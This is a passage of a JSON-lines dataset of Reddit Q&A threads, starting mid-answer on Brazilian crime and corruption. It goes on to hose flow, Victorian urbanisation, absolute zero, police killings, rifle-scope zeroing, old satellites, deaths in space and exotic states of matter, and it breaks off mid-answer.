system, which takes 10 years to judge a crime. It's the legal system, which lets a person arrested 15 times for bank robbery to respond in liberty for the 16th bank robbery because the trials for the other 15 robberies are still going. And it's also \"popular\" impunity. Brazilians know the politicians who are corrupt and what they did yet do nothing about it. While in Europe politicians would be forced to step down, in Brazil they laugh and brush it aside, and the people does nothing about it.\n\nAs for the education bit, people are brought up without any values whatsoever. I've seen parents teach their children to trick others. I've seen parents teach their children to steal from other children, because \"if they weren't smart enough to look after their stuff they didn't deserve to keep it\". I'm talking 6 or 7 year olds. There is no value seen in \"doing the right thing\" just for the sake of it, and if you do, you're seen as an idiot. On top of that, parents have no authority over their children. They can't say no to anything, and they are not respected. Children are not raised learning the importance to respect others and to respect the elders etc. They are raised with the mentality that life is a free for all and you gotta go after and take something if you want it. Then people are surprised when at 15 they are either robbing and stealing or cheating and scamming, and at 25 (if they haven't been killed in crime yet) they graduate as bank robbers or politicians. \n\nAgain, let's not use the wealth and being poor excuse. That's hiding the real problems. Many people around the world are poor and not criminals. Most poor people in Brazil are not criminals. Many rich people in Brazil are criminals. I'm talking high education level, University level. The level of fraud and corruption inside the public Universities is just appalling, for example. And they are both the intellectual and the wealthy elite of the country. Rotten in crime. In my humble opinion, it's idiotic to blame wealth distribution for the crime rates.\n\nWhere did the trends begin would take yet another post, so I'll leave that for later if there is still interest.", "Write too much? Not at all! Coming to this thread, I really did not expect to learn so much, and did not expect to have what I've really just learned as thoroughly challenged as it has been. I'm beginning to think I didn't give sociology a fair shake in university, as this has been really enjoyable to discuss and think about... I'm starting to see how practical application of academic sociology (i.e. a breakthrough study or compelling paper) can really benefit people in the real world, in terms of outlining/defining the social problems that policies need to address. \n\nI'm tempted to push this conversation just a bit further to its logical conclusion: Given what you've written, is it possible to briefly summarize what you feel needs to happen, in terms of policy, in order to see some positive changes in the problems you've addressed? \n\nI realize you've written an entire essay at this point, so I can understand if you feel this is getting a bit excessive. I'm avoiding asking you questions I can simply look up for myself (not asking for a free lecture!), and am just generally interested in your opinion.", "Basically: Extreme poverty, poorly qualified, poorly trained and poorly funded police, unequal and inefficient application of the law and connivance of the state, which has links to militias and the crime itself. Add to that mix war on drugs, lack of urbanisation and the fact that Brazil has absolutely unpatrolled borders with countries like Paraguay and Bolivia, through which crosses everyday tons of illegal military grade weapons, contraband, counterfeits and drugs to Brazil, and stolen goods on the other directions, and you have an explosive mixture.\n\nAbout inequality, this is bullshit. If everybody were rich, but still unequally rich, there would be no violence. If everybody were equally poor, violence would still be rampant. On the other end, inequality is not the cause of poverty. The problem is the poverty, and the poverty is in it's core caused by 70 or so years of failed economical policies, inflation, economical stagnation, of government benefiting from the poverty industry (keep people poor and keep them under control, you need to preserve the problem people think you are the solution for), the government seems to do everything it can to stop the economy from working properly. Brazil is a nation of entrepreneurs handcuffed by bureaucracy. Our tax code when printed weights 7 tonnes. Opening a small family business can take up to a year an cost tens of thousands of dollars. They will do everything they can to create difficulties and then sell the easiness by illegal methods and pocket the difference. It's hard to have a better life being honest, without bribing government agents, without paying the mafias for protection,  in a country like this. The status quo is dishonesty from the very basis of our country organization.\n\n_URL_0_\n\nAnd I find a little offensive to the poor people that are honest to put inequality as a reason. Most poor people are decent, honest people that strive to do well, criminals are not criminals only because they are poor. Rich people on the other end commits a lot, A LOT of white collar crimes in Brazil, so criminality is not necessarily a inequality problem , but a cultural and infrastructural one, since the law and the police are impotent, and the people have lost it's faith in a functional society. I think my last paragraph is not well clarified, but it's the best I could do in English.\n\nI feel that it's a common thinking that \"since we live in this shit hole, and there are no rules, I'll take whatever I want, do whatever I can to take advantage on everybody else, and there is not a god damn thing anyone can do about it\". More or less what we call \"law of Gerson\", that states \"you have to take advantage on everything\".\n\n_URL_1_\n\nWe like to say that Gerson's Law is the opening paragraph of Brazilian constitution... It permeates every encounter a Brazilian have, from business and politics, to day to day life.  If there is an exploit of any system, people will use it. And in my opinion is because people believe that the country, the society, the system, is beyond repair, there is a total state of anomie, of discredit of the institutions, and this contributes to a vicious cycle of corruption of the moral. If you are honest, you feel like everybody else isn't and they have no punishment for being dishonest, and you start to doubt yourself and think \"fuck it, everybody else does it, why should I be honest?\".\n\nAnd other side of this, is that people stopped believing in justice, and now only believe in vengeance! This year there were several beatings of supposed criminals. A woman was beaten to death by a furious mob because of facebook rumours that there was a woman kidnapping kids in the area and she looked like the picture in the facebook post. There was nobody kidnapping kids, it was a hoax, and the woman never committed a crime! There is no legal system, no defence, no court, they do street justice, which is absurd. But this is the state of fear people are right now, and they revolve to violence as cornered animals would.\n\nBesides that, where there is a vacuum of official power, of police, of basic services, the criminals assume all that, and they become the (un)official power. They have their own courts, they have their own garbage collection system, they have pirate cable television, they provide cooking gas, etc. Total abandonment of the state of law.\n\nEdit: Expanded and clarified because I write badly in english sometimes :P.\n\nEdit: same thing again\n\nEdit: I can't help but keep expanding. I've been living too long in Brazil, and there are not a lot of opportunities to say this things and get them out of my system...\n\nEdit: Enough editing, my hands hurt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.newstalk.ie/Seans-Opening-Story:-7-and-12-tonnes-of-tax", "http://en.wikipedia.org/wiki/G%C3%A9rson%27s_law"]]}
{"q_id": "1lh3wu", "title": "If you are trying to fill up a bucket with water from a hose, will it fill up faster if you \"spray\" it into the bucket, instead of just letting the water run from the hose?", "selftext": "(\"spray\"= putting your finger in front of the opening of the hose to make the opening smaller and shoot out water faster)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lh3wu/if_you_are_trying_to_fill_up_a_bucket_with_water/", "answers": {"a_id": ["cbzazv0"], "score": [4], "text": ["Ultimately, no. The hose has some specified amount of water pressure it can supply, which will give some flow rate, say 1 gallon per minute. If you had a five gallon bucket, it would then take you five minutes to fill it. If you put your finger over the opening of the hose, you will decrease the area that 1 gallon per minute exits through, so the individual water molecules move faster, but the overall rate remains the same, causing you to still fill the bucket in five minutes.\n\nFor instance, if your hose had the ability to output 1 gallon per minute of water and the hose nozzle had an area of 1 square inch, the velocity of the water at the exit would be 1 GPM/1 in^2 =0.32 ft/s. If you then used your finger to cover 90% of the area giving you an area of 0.1 square inches, the velocity would become 1 GPM/0.1 in^2 =3.2 ft/s. But the flow rate is still one gallon per minute, so it still takes five minutes to fill your bucket.\n\nNote that this explanation ignores pressure losses in the hose due to valves (such as your finger) and connectors - those will only make it even slower to fill. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2jb6qv", "title": "If living conditions were so horrible in Victorian cities, why so many millions of people moved from the country side to the cities?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jb6qv/if_living_conditions_were_so_horrible_in/", "answers": {"a_id": ["cla4xdb", "cla5fp4", "claui1j"], "score": [35, 798, 2], "text": ["Simply put, one of the major causes was the Industrial Revolution.\n\nLet's start with a tailor out in the countryside. All his life he's made shirts at X price for people on order, each shirt takes a certain amount of time to make by hand, and he makes a good living at it. With the Industrial Revolution, shirts are now sold at half that price (*numbers are not accurate, simplified for purposes of explanation) and the self-employed tailor cannot compete and needs to find additional alternative work for himself to support his family. Sometimes this additional support means that he needs to move himself and his family to a city where a factory has been established and work there for wages. Many people found themselves in these situations, where remaining in the countryside was just not an option. \n\nNot all of the influx of population in the cities was people from the country. Many people from Ireland, fleeing the effects of the potato famine (1840s-early 1850s) sought work in factories in the cities.\n\nI need to run to work now but can answer questions or elaborate more when I get back.\n\nFor sources/further reading... Asa Briggs's \"Victorian Cities\" is old (1965) but still relevant. Also see D. C. Coleman's \"Myth, History, and the Industrial Revolution\" (1992). The [Victorian Web](_URL_0_) also has a pretty good page out there on the Industrial Revolution.", "The answer is both complex and interesting.\n\nFor starters we need to understand one key concept: the Malthusian trap. The Malthusian trap is the concept that for most of human history, we have been subsistence farmers and the standard of living never rose for most humans above subsistence farming levels. We also know that the technological advances that happened before the industrial revolution mostly caused rises in *population* rather than in *standard of living*. \n\nOnce we understand that key concept, we have our real answer. The Victorians (as with most of Europe, the United States etc.) broke out of the Malthusian trap. This isn't exactly an exciting answer if you exclude why they managed to break out so I'll go into that in some detail.\n\nNow, please note that the causes of the industrial revolution in Britain and abroad still remains a major source of debate between historians so I'll do my best to provide some differing opinions. \n\nThe first major cause for the industrial revolution for most historians is the major fall in the mid to late 17th and early 18th century in infant mortality. Mostly because by the mid 17th century the British were starting to abandon the old medical ways. Up until this point, medicine in Britain was still, frankly, medieval. The late 17th century would see the abandonment of many of the worse of what passed for medicine at the time (Bleedings, theory of humours, etc.) for a more scientific approach. \n\nIt should also be said that during this time, there was a marked increase in the quality and frequency of border controls. Prof. Paul Slack author of *The Impact of Plague in Tudor and Stuart England* points to this being a major factor in the reduction of frequency in instances of the Plague. Which means that diseases, in general, began to spread far less widely than they did in the past. This may have simply resulted in a rise in population but this time around it was considerably different because the rise in population coincided with major and numerous other advances. \n\nWhich brings me to our second cause. The massive increases in both farm labour (their productivity, to be clear) and land productivity. It all starts with the rise in the enclosure of farmland which reduces the amount of common land. The Crown and the Church had always been the two major land owners in Europe since the middle ages. In England, under Henry VIII, the Suppression of the Monasteries would free up massive swaths of land for free peasantry. It would gradually ramp up the enclosure and *improvement* of farmlands in comparison to their common land equivalent. \n\nThe Dutch also contributed a lot to the increase in productivity. the first major advancement used in Britain was the water-meadow. A system of pasture irrigation that isn't in use today but was a major advancement in the 16th-17th century in England. It allowed for the pasturing of livestock far earlier by keeping worked pastures in the spring damp, keeping frost off the ground and making grass grow several weeks earlier. *This has no bearing on the question but I still think it's a fun little fact, men who took care and maintained water-meadows were called drowners. Not sure where this could've fit into my explanation so I'll just put it in here...*\n\nAgriculture during the period leading up to and during the industrial revolution is also marked by the introduction of scientific selective breeding. It saw the notable creation of the Dishley Leicester, the most productive sheep of it's era, and improvement of the Dishley Longhorn, which was the first beef cattle. Many contemporary sources talk of cattle weighing twice what they weighed after Bakewell's improvement of the breed, which is a considerable amount of extra productivity in cattle alone. \n\nBut let's return to the contributions of the Dutch for a moment, a notable engineer Cornelius Vermuyden, had by the end of the 17th century popularized the use of Dutch land maintenance methods. There are varying estimates about the effects of the land maintenance reform but there is no debating that it led to a substantial increase in the amount of usable arable land. Which meant that farms often increased in size. \n\nThe last truly farm-based improvement was the development of the Norfolk four-course crop rotation. Farmers switched from a three field system that resulted in large parts of farmland being left unproductive every season to one where there was very little need to leave any part of their land fallow. Where the British usually had fallow fields, they now put turnips or clovers on which to graze cattle, re-nitrate the soil and keep down weeds. Combined with the new breeds of cattle I've already talked about, this was a significant improvement. \n\nSo, this all meant that farms were far more productive *far more easier* than they used to be. Which meant that they could be worked by significantly less people. All at the time of a massive surge in population. The population of Britain went from around 9 million in 1800 to nearly 42 million in 1901. This was also the age where the British realized that they could transport goods inside the country far easier using industrial canals. So centralized production of goods was most definitely in.\n\nSo in short, as jobs left the countryside to the cities, so did people. \n\n\n\nSources: \nHarrison - *The Common People, a History from the Norman Conquest to the Present*\n\nClark - *The British Industrial Revolution: An Economic Perspective*\n\nKerridge - *The Agricultural Revolution*\n\n**Thank you for the gold kind stranger. This is my first gilded comment, I am very touched.**\n\n**double gilded?! Thank you again kind stranger. That just made my day even better!**\n", "Increases in food production meant farmers had a hard time getting work when one farm could produce triple it's previous a amount with only 1/5th the amount of workers. \n\nCities were seen as where all the jobs were, and also there was a certain appeal to them in that they were considered where the modern world was advancing. During the mid 1800s, liberals especially were ecstatic about the industrial revolution and urbanization. Cities was where the world was changing, and many people were attracted to that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.victorianweb.org/technology/ir/index.html"], [], []]}
{"q_id": "cmk9oh", "title": "how did we figure out how cold absolute zero is?", "selftext": "From what I understand, it can\u2019t be reached - so how do we know exactly how cold it is?\n\nEDIT: people seem to be misunderstanding, I am NOT asking how cold it is. A quick google search reveals it is about -273.15 C, what I am asking is how we know this for a fact, given it is not reachable.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cmk9oh/eli5_how_did_we_figure_out_how_cold_absolute_zero/", "answers": {"a_id": ["ew2v0jj", "ew2x1w8", "ew2xaf4", "ew2xhv0"], "score": [16, 10, 21, 2], "text": ["Absolute Zero cannot truly be reached, yes. But the concept originated with Lord Kelvin, the one who developed the Kelvin temperature scale. He theorized that \u201cAbsolute Zero\u201d is the theoretical point that all energy leaves the molecules in matter and they stop moving. Although nobody has achieved this state we have gotten shockingly close by manipulating particles with lasers. Looking into this idea also helped him develop the second law of thermodynamics in respects to transfer of heat and energy from one body of matter to another.", "As per the edit, the -273.15 on the Celsius scale is just an internationally agreed standard by extrapolating what is called \u201cthe ideal gas law\u201d with regards to its relation to energy in a gas and thermodynamics which is an entire physics lecture unto itself but involves the laws theorized by Gay-Lussac, Boyle, Charles, Avogadro, and Constant and Ideal laws. I\u2019ll stop there without getting into the maths.", "Plot the volume of a gas (constant mass) against it's temperature.  As you decrease the temperature the volume will start approaching zero.  The temperature where you would expect an ideal gas to have zero volume is very close to -273C.\n\n & #x200B;\n\nAnd of course, the more complicated the gas, the more it will deviate from this trend, hence why helium, the most ideal of all real gasses, is the gas we can get closest to absolute zero.", "I don't know if this is the correct answer from a historical perspective, but it's possible to figure out the value of absolute zero from observable laws of thermodynamics.\n\nFor instance, if you raise the temperature of an ideal gas until the pressure has increased by 10%, then you must have raised the temperature by 10%. From this alone, you can calculate where the zero point of temperature is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3nl4ru", "title": "what would happen if millions of people took to the streets and tried to overthrow the government?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nl4ru/eli5_what_would_happen_if_millions_of_people_took/", "answers": {"a_id": ["cvozzoe", "cvp00pk", "cvp1669"], "score": [8, 2, 32], "text": ["Typically when that happens the government is overthrown. Or, less likely, the government remains and there's millions of dead people. But when the number of people is in the millions, there's usually some change coming.", "... well... it sort of depends.\n\nIn the US?  They might gain some amount of success, but you'd have to have a pretty extensive number of people across a very wide amount of area.  The US is too big for (say) the entire population of one state to really influence anything.\n\nOn the other hand, if you pick a smaller country... perhaps one where the government is far less stable/powerful... you could pull off a full revolution.", "In the U.S.:\n\n* The Continuity of Government plan would kick in\n* Key members of government would be picked up and taken to their emergency relocation facility\n* Devolution of authority plan would kick in and authority of certain, key areas of government would devolve to their respective members in alternate locations\n* Department of Homeland security would execute their plans for locking down major cities involve with the uprising (see how Boston was locked down after the bombings) \n* Martial law would be declared and law enforcement would report up through DHLS\n* National Critical infrastructure would be protected to prevent sabotage\n* Military would be on high alert in case any of our enemies try to take advantage of the internal issue going on in the U.S. \n\n---------Speculative--------------\n\n* The major news outlets would follow direction from the government\n* More than likely, the news will be downplayed to the international community \n* Banks would freeze withdraws, stock market would take a huge dump\n* The uprising, if it went on long enough, would affect the global economy \n* Input and exporting would suffer major difficulties \n* Internal shipping (e.g. trains, semi-trucks, etc) would also be severely impacted\n* Grocery stores would have difficulties keeping shelves stocked because of the slow down causing food shortages in some areas\n* There may be massive 'rotting' of farming goods due to the difficulties of shipping products (e.g. lack of drivers, check points, exporting, etc)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2elr5r", "title": "police officers lying on cases and/or murdering innocent civilians/pets. is this on the rise? or the media is reporting it more often?", "selftext": "Just curious. As a Canadian redditor, guns are something that only law enforcement usually would carry... so be that as it may, you hear about this stuff happening in USA almost every day, where some cop, or sheriff has lied to save their ass, or killed someone innocent, or let some guy die of asthma.. etc. \n\nIs this sort of police brutality in america on the rise, or is the media just hyping it up more than ever? \n\nThe feeling I get from the news is, \"You're more likely to get killed by a cop than a criminal in the states.\" \n\nAny clarification would be good, cheers.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2elr5r/eli5_police_officers_lying_on_cases_andor/", "answers": {"a_id": ["ck0p90v", "ck0pbxx", "ck0swzt"], "score": [9, 5, 2], "text": ["There have been attempts to gain actual stats, but the police have been somewhat uncooperative. But based on the fact that all crime has been going down but has been perceived to be rising, I'd say it's likely to not be on the rise, but is merely being reported more. Still happens intolerably often IMO", "I don't think much has changed in the way police act, what has changed is that now everyone has a camera in their pocket and many places have security camera covering a lot of areas. We also have internet access that allows anyone to share these videos easily. Before you had to convince a news channel to share your footage or some tv program. Now you don't need to ask anyone and if it has some value, it will be shared. ", "Homicides committed by civilians outnumber police killings by a factor of 20-30 to one. Furthermore, most killings by police officers are justified, in the sense that the decedent is a violent felon, or otherwise poses a danger.\n\nCases like Michael Brown's are the exception, and even in his case it's not at all clear that he couldn't easily have avoided it by cooperating with the police. Evidence suggests that there was an altercation of some sort prior to the shooting. I'm not saying that the shooting was justified, necessarily, only that Brown probably could have avoided it.\n\nRarer still are the true innocent victims like Amadou Diallo, who was shot due to mistaken identity (he was mistaken for a rapist, and his wallet for a gun). The causes of these range from tragic misunderstandings to police incompetence and outright murder, although the later is very rare. These happen, but they're very much the exception.\n\nThe bottom line is that if you don't provoke them (commit a crime, fight them, resist arrest), the odds of being killed by a police officer are very, very small. Probably similar to the odds of being killed by a shark. Definitely a tiny fraction of the odds of being killed by a civilian."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2fzu4x", "title": "how does zeroing work on a sniper rifle scope?", "selftext": "I understand that you zero the gun to the range of the target but how does that actually work in terms of the mechanics of the gun? Does the scope refract the light so it appears lower in the scope to match the centre  of it or is fired in a different way to get the same effect?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fzu4x/eli5_how_does_zeroing_work_on_a_sniper_rifle_scope/", "answers": {"a_id": ["cke9wmg", "ckea1om", "ckea7np", "ckebe5o", "ckeblpx", "ckeeesg", "ckefisq"], "score": [2, 5, 30, 5, 2, 5, 3], "text": ["You change the angle between scope and barrel. Since gravity affects the bullet, it will drop during it's flight. To counteract this, the bullet is shot slightly upwards, and the flight path is therefore an arc. The further you want to shoot, the larger the firing angle.", "Another thing to point out is that over time through the vibrations of the shot being fired and knocks and bumps, this can cause the scope to move ever so slightly. Because the aiming of the scope is so precise, it doesn't need to be knocked around much for it to become off centre slightly. \nAnother reason why it needs zeroing in every now and then to just get the center of the cross hair on target. ", "The rifle scope has 2 dials on it. One for up/down and one for left/right. \n\nAfter you attach the scope you take it to the shooting range and set up the target to the distance you want to \"zero\" your rifle to.  The distance of the target will depend on the type of rifle, the scope and round you are using. \n\nOne you have the target setup you shoot about 3 rounds aiming at the centre of the target, making no adjustments to the scope or firing position between shots. Then make the weapon safe and walk down to see where the bullets hit the target. All the bullets should land in a tight group, you can now measure the distance between the centre of the group to the centre of the target. Let's say your bullets landed in a group 3 inches to the left and 1 inch below the centre of the target. Head back to your rifle and adjust the scope 3inches to the right and 1inch up. Shoot another 3 rounds and then inspect the target again and make adjustments if needed. Rinse and repeats until your group is landing on or around the centre of the target. \n\nOnce your group is hitting the centre of the target your rifle is \"zeroed\" to the distance you have chosen. \n[this picture will give a good example of the relationship between bullet and scope](_URL_0_)\n\n\nKeep in mind this can be difficult because you need to hit the same place every shot for best results. Humans, the rifle and bullets are not perfect so bullets will not always hit the same place that is why you shoot a group, the tighter the group the better results you will get. \n\n\n\n", "It's even simpler than your example: the scope is typically mounted on a railsystem - even if not - there are screws on the side. \n\nYou probably know that the trajectory of a bullet is a ballistic arc (that's why we need zeroing). By adjusting this screws the scope will be lifted or lowered - following the ballistic arc.\n\nI'll take the only rifle i know as an example here: the Steyr AUG\n\nthe AUG has a fixed scope in the versions A1 and A2. This scope is usually set to about 200m. So the bullet will follow its arc (meaning the bullet will be above the crosshair until 200 meters) and meet up with the center of the crosshair at the zeroed distance - in this case 200m. \n\nSo it's not really much more than precise adjusting of the scope. If the target is further away your scope will be pointing more to the ground.\n\nIn most cases this is not really visible because of how small the adjustments actually are. \n\nIt usually requires a few testshots to actually zero the weapon correctly - at least with AUG. Since the scope isn't meant to be really adjusted that much, meaning that you adjust it every few months if you start noticing serious disallignments of your fire. Sniper rifles and modern scopes tend to have small 'wheels' on top and on the side to make adjusting easier (the wheels on top are usually to compensate horizontal offset - for example wind).\n\nHope this explained it well enough.", "/u/oshaneo explained the zeroing process pretty well: you adjust the scope so the line from your eye through the scope target marker or sight posts to the target is parallel at close range to the line through the chamber through the barrel to the target. Note that there are different kinds of sights, such as ones where you have to match up a rear sight post and the front sight post and the target and others where you just match up the reticle with the target (no two posts) and it just works, but those are their own ELI5. In either case, its important for best accuracy during zeroing and firing to maintain a consistent sight picture by keeping your face and eye in the same place relative to the scope each time.\n\nAfter your initial zeroing, when you take your weapon away from a zeroing range to actually use it, there are other adjustment knobs that move the scope to account for distance to the target, elevation difference, wind speed, etc, anything else that you need to account for that affect the flight path of the bullet since it isn't actually travelling in a straight line. These knobs are different from the ones you initially used to zero so that you can easily go back to your baseline of hitting a target at close range. You will be changing the direction the scope is pointing in relation to the barrel instead of changing how you look through the scope at the sight.  Depending on the weapon system, the adjustment knobs may be labelled specifically for what they account for, such as elevation, or you will just know from training how much you need to adjust left/right or up/down for each variable, and you may need to calculate that adjustment to get it just right. A sniper will use tools such as laser range finders, maps, GPS, landmarks, wind flags along the path to the target, measurement markings inside their scope, etc, along with their training and experience, to make the right adjustments. They may even have spotters either next to them or close to the target that watch where the rounds are hitting and tell them how much more they need to adjust. At some point its a mix of science and art.\n\nEdit: Added more detail.", "Very simple answer to a very simple question. When you click the dials, you are actually physically moving the body of the scope in relation to the weapon. \n\nBy turning the dial \"down\", you move the front of the scope up. This means that you have to lower the weapon to get the crosshairs on the target, thereby making the shot go lower.", "A lot of posts here talk about the scope moving with the clicks. If that were the case then the adjustment knobs would be on the scope mounts not the body of the scope.\n\nThere are lots of variations in designs. For the most part inside the scope body is a tube called an \"Erector Tube\" that holds the reticle (crosshairs). The reticle in some scopes are simple wires where others are etched in glass. As you adjust the knobs (Elevation for up/down, windage for left/right) you are turning screws that apply pressure on the erector tube. There is a spring on the other side of the erector tube inline with the screw which is why the screw doesn't pass all the way through the scope and erector tube. The springs hold the erector tube in place. The screw mechanism is designed so that a click can be felt as the screw is turned. This helps the screws from turning on their own and provide a gauge as a reference for adjustments while shooing. For instance you may know with a given scope/gun/caliber you need to go up 2 clicks to go from 100 yards to 200 yards. The threads of the screws are designed so that the click also means something. For instance on high end precision scopes each click will adjust the point of impact 1/4MOA or 1/4\" at 100 yards. The disadvantage is to go from 100 yards to 1000 yards you have lots of clicks to go through and count. Less precise scopes will use 1 MOA (1\" and 100 yards) clicks. It makes it harder to fine tune things. In the case of Military scopes they typically use 1MOA for elevation not because they are cheap but because it cuts down on the number of clicks when making large range changes. This makes it quicker. \n\nHere is a link with some good info and diagrams. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.m.wikipedia.org/wiki/Rifleman's_rule#/image/File:TargetShooting3.gif"], [], [], [], ["http://www.shootingvoodoo.com/index.php/articles/anatomy_of_a_tactical_bolt_action_rifle__the_rif/"]]}
{"q_id": "e2mr88", "title": "cravings", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e2mr88/eli5_cravings/", "answers": {"a_id": ["f8wescb"], "score": [3], "text": ["Your brain knows what you need, and instead of telling you, for example, \"hey, I need more potassium\", you'll just start craving things full of potassium, like bananas. It gets weird when you're stranded, though..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4g4740", "title": "What is the oldest satellite in space still providing us with information?", "selftext": "And what is that information?\n\nJust a curious thought that struck me. There are tons of satellites up there. Some work , some don't.  But which is the oldest one still giving us (useful, useless, whatever) information?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4g4740/what_is_the_oldest_satellite_in_space_still/", "answers": {"a_id": ["d2eikr7", "d2eixfu", "d2eiz9v", "d2epitp"], "score": [11, 69, 6, 37], "text": ["Possibly [AMSAT-OSCAR 7](_URL_0_), launched November 15, 1974.  This is a difficult question to answer because various military organizations don't announce the decommissioning of satellites.", "Apparently these are still used to calibrate things down here and were launched in the 60's:\n\n_URL_0_\n\nTheres also this one, an amateur radio satellite - still actively used when the solar panels charge up:\n\n_URL_1_\n\n", "Google has the [answer](_URL_0_).\nAccording to that post it's [GOES3](_URL_1_).\n\nAlthough Voyager 1 is even older but not orbiting earth obviously.\n", "[Vanguard 1](_URL_0_), launched 1958, is the oldest man-made object still in orbit. It is still tracked which provides information about atmospheric drag. Although the satellite stopped working long ago, it still provides information just by orbiting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/AMSAT-OSCAR_7"], ["http://space.skyrocket.de/doc_sdat/lcs-1.htm", "https://en.wikipedia.org/wiki/AMSAT-OSCAR_7"], ["http://space.stackexchange.com/questions/1564/what-is-the-oldest-artificial-satellite-still-in-use", "https://en.wikipedia.org/wiki/GOES_3"], ["https://en.wikipedia.org/wiki/Vanguard_1"]]}
{"q_id": "7so2r4", "title": "Has anyone ever died in space?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7so2r4/has_anyone_ever_died_in_space/", "answers": {"a_id": ["dt6bycs", "dt6m33r", "dt6nhfy", "dt6pyhs"], "score": [1388, 179, 26, 6], "text": ["Yes, the three cosmonauts on [Soyuz 11](_URL_0_) died in space* when their capsule depressurized.\n\nEdit: * space is usually defined as above the [Karman Line](_URL_1_), 100 km altitude", "While the Soyuz 11 crew are the only humans to have died in space, it's perhaps worth also mentioning Laika, the Soviet space dog. Laika, the first animal to orbit the earth, died after around six hours in low earth orbit from overheating. Her death was inevitable as there was no plan to de-orbit, but the original plan was to euthanise her with poisoned food. ", "While reading this, I got pretty interested it and back-tracked some more. As much as it probably sucked pretty bad for these 3 in Soyuz 11, imagine being this man from Soyuz 1.\n\n >  > Soyuz 1 was launched on 23 April 1967 at 00:32 UTC from Baikonur Cosmodrome carrying Komarov, the first Soviet cosmonaut to fly in space twice.\n\n >  > Problems began shortly after launch when one solar panel failed to unfold, leading to a shortage of power for the spacecraft's systems. Further problems with the orientation detectors complicated maneuvering the craft. By orbit 13, the automatic stabilization system was completely dead, and the manual system was only partially effective.\n\n >  > The crew of Soyuz 2 modified their mission goals, preparing themselves for a launch that would include fixing the solar panel of Soyuz 1. However, that night, thunderstorms at Baikonur Cosmodrome in Kazakhstan affected the booster's electrical system, causing the mission to be called off.[7]\n\n >  > As a result of Komarov's report during the 13th orbit, the flight director decided to abort the mission. After 18 orbits, Soyuz 1 fired its retrorockets and reentered the Earth's atmosphere. Despite the technical difficulties up to that point, Komarov might still have landed safely. To slow the descent, first the drogue parachute was deployed, followed by the main parachute. However, due to a defect, the main parachute did not unfold; the exact reason for the main parachute malfunction is disputed.[8][9]\n\n >  > Komarov then activated the manually deployed reserve chute, but it became tangled with the drogue chute, which did not release as intended. As a result, the Soyuz reentry module fell to Earth in Orenburg Oblast almost entirely unimpeded, at about 40 m/s (140 km/h; 89 mph). A rescue helicopter spotted the descent module lying on its side with the parachute spread across the ground. The retrorockets then started firing which concerned the rescuers since they were supposed to activate a few moments prior to touchdown. By the time they landed and approached, the descent module was in flames with black smoke filling the air and streams of molten metal dripping from the exterior. The entire base of the capsule burned through. By this point, it was obvious that Komarov had not survived, but there was no code signal for a cosmonaut's death, so the rescuers fired a signal flare calling for medical assistance. Another group of rescuers in an aircraft then arrived and attempted to extinguish the blazing spacecraft with portable fire extinguishers. This proved insufficient and they instead began using shovels to throw dirt onto it. The descent module then completely disintegrated, leaving only a pile of debris topped by the entry hatch. When the fire at last ended, the rescuers were able to dig through the rubble to find Komarov's remains strapped into the center couch. Doctors pronounced the cause of death to be from multiple blunt-force injuries.\n\n[Source](_URL_0_)\n\n**TL:DR**  \n > Guy plummeted from space at about 90mph  (140 km/h) towards earth from space in a small capsule, fully aware his parachute was not working and what was coming soon. In fact, he knew before even going on the mission that he would probably die. ", "A couple of people have mentioned Soyuz 11, but I wanted to add that it depends on your definition of \"in space\".  Technically they died in the thermosphere, not in a full vacuum.  This is where most satellites and other space vehicles orbit. But technically it is considered part of the atmosphere.\n\nSo if by \"in space\" you mean away from any layer of the atmosphere, then the answer to your question is no.  If you use the more common definition of \"outer space\" meaning anything above the mesosphere, then see the other answers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Soyuz_11", "https://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line"], [], ["https://en.wikipedia.org/wiki/Soyuz_1"], []]}
{"q_id": "243o0f", "title": "the non-standard states of matter", "selftext": "What exactly are Bose-eisenstein condensates? And the boson things? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/243o0f/eli5_the_nonstandard_states_of_matter/", "answers": {"a_id": ["ch39drh", "ch3c5vo"], "score": [4, 7], "text": ["The BE condensate is basically a super-cooled set of dilute matter that has fundamentally strange properties because bosons, unlike fermions, can occupy the same quantum state as eachother. This yields some strange phenomena such as superfluidity (0 viscosity) and superconductivity (zero resistance of electron flow).\n\nIt is matter that makes quantum properties vividly macroscopic.", "I'm not sure how \"non-standard\" it counts as, but a state of matter that we definitely don't have (obvious) everyday experience with is Plasmas. Plasmas are essentially when a gas of atoms becomes so hot i.e. there is so much energy that the electrons that normally whizz around atomic nucleii have enough energy to become free, so that you have a gas of negatively charged electrons and positively charged nucleii (in reality, there might be a few electrons still bound to the nucleii but since the positive charge of the atom is more than the negative charges from the electrons, you can treat those atoms as just a little ball of overall positive charge. When the atom has fewer (or more) electrons than there are protons (which contribute positive charge) we 